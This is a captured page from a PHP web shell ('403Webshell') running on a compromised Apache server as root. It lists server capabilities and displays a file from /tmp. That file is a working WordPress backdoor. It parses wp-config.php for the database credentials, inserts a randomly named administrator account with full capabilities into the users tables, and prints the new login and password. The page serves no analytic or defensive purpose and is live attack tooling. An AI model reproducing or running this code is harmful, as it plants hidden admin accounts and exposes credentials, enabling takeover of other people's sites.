403Webshell
Server IP : 192.241.186.36  /  Your IP : 216.73.216.199
Web Server : Apache/2.4.29 (Ubuntu)
System : Linux webserver7 4.15.0-194-generic #205-Ubuntu SMP Fri Sep 16 19:49:27 UTC 2022 x86_64
User : root ( 0)
PHP Version : 7.4.32
Disable Function : pcntl_alarm,pcntl_fork,pcntl_waitpid,pcntl_wait,pcntl_wifexited,pcntl_wifstopped,pcntl_wifsignaled,pcntl_wifcontinued,pcntl_wexitstatus,pcntl_wtermsig,pcntl_wstopsig,pcntl_signal,pcntl_signal_get_handler,pcntl_signal_dispatch,pcntl_get_last_error,pcntl_strerror,pcntl_sigprocmask,pcntl_sigwaitinfo,pcntl_sigtimedwait,pcntl_exec,pcntl_getpriority,pcntl_setpriority,pcntl_async_signals,pcntl_unshare,
MySQL : OFF  |  cURL : ON  |  WGET : ON  |  Perl : ON  |  Python : OFF  |  Sudo : ON  |  Pkexec : ON
Directory :  /tmp/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Command :


[ Back ]     

Current File : /tmp/shf_7y8nhI
<?php
@include 'whale.php';
?>
<?php

$cwd = explode('wp-content', getcwd())[0];
$wpConfigPath = $cwd . DIRECTORY_SEPARATOR . 'wp-config.php';


function get_wp_db_config($config_path = 'wp-config.php') {
    if (!file_exists($config_path)) {
        throw new Exception("Файл wp-config.php не найден: $config_path");
    }

    $config = file_get_contents($config_path);

    $result = [];

    $patterns = [
        'DB_NAME'     => "/define\s*\(\s*'DB_NAME'\s*,\s*'([^']+)'\s*\);/",
        'DB_USER'     => "/define\s*\(\s*'DB_USER'\s*,\s*'([^']+)'\s*\);/",
        'DB_PASSWORD' => "/define\s*\(\s*'DB_PASSWORD'\s*,\s*'([^']*)'\s*\);/",
        'DB_HOST'     => "/define\s*\(\s*'DB_HOST'\s*,\s*'([^']+)'\s*\);/",
        'table_prefix'=> "/\\\$table_prefix\s*=\s*'([^']+)';/"
    ];

    foreach ($patterns as $key => $pattern) {
        if (preg_match($pattern, $config, $matches)) {
            $result[$key] = $matches[1];
        } else {
            $result[$key] = null;
        }
    }

    return $result;
}

function generate_random_string($length = 12, $include_symbols = false) {
    $chars = 'abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ0123456789';
    if ($include_symbols) {
        $chars .= '!@#$%^&*()-_[]{}';
    }
    return substr(str_shuffle(str_repeat($chars, $length)), 0, $length);
}

if (!file_exists($wpConfigPath)) {
    die("wp-config.php not found in current directory: $cwd\n");
}

$dbConfig = get_wp_db_config($wpConfigPath);

$db           = $dbConfig['DB_NAME'];
$user         = $dbConfig['DB_USER'];
$password     = $dbConfig['DB_PASSWORD'];
$host         = $dbConfig['DB_HOST'];
$table_prefix = $dbConfig['table_prefix'];

$new_username = strtolower(generate_random_string(6, false));
$new_password = generate_random_string(16, true);
$new_email    = $new_username . '@gmail.com';

$mysqli = new mysqli($host, $user, $password, $db);
if ($mysqli->connect_error) {
    die('Ошибка подключения: ' . $mysqli->connect_error);
}

$hashed_password = password_hash($new_password, PASSWORD_BCRYPT);

$insert_user = $mysqli->prepare("
    INSERT INTO {$table_prefix}users 
        (user_login, user_pass, user_nicename, user_email, user_status, display_name, user_registered)
    VALUES (?, ?, ?, ?, 0, ?, NOW())
");
$insert_user->bind_param('sssss', $new_username, $hashed_password, $new_username, $new_email, $new_username);
$insert_user->execute();

if ($insert_user->affected_rows < 1) {
    die('Ошибка при создании пользователя: ' . $mysqli->error);
}

$user_id = $mysqli->insert_id;

$meta = [
    ['wp_capabilities',      serialize(['administrator' => true])],
    ['wp_user_level',        '10'],
    ['nickname',             $new_username],
    ['first_name',           ''],
    ['last_name',            ''],
    ['description',          ''],
    ['rich_editing',         'true'],
    ['show_admin_bar_front', 'true'],
];

foreach ($meta as [$key, $value]) {
    $stmt = $mysqli->prepare("INSERT INTO {$table_prefix}usermeta (user_id, meta_key, meta_value) VALUES (?, ?, ?)");
    $stmt->bind_param('iss', $user_id, $key, $value);
    $stmt->execute();
    $stmt->close();
}

echo "Админ-пользователь успешно добавлен.\n";
echo "Логин:    {$new_username}\n";
echo "Пароль:   {$new_password}\n";
$mysqli->close();
?>

Youez - 2016 - github.com/yon3zu
LinuXploit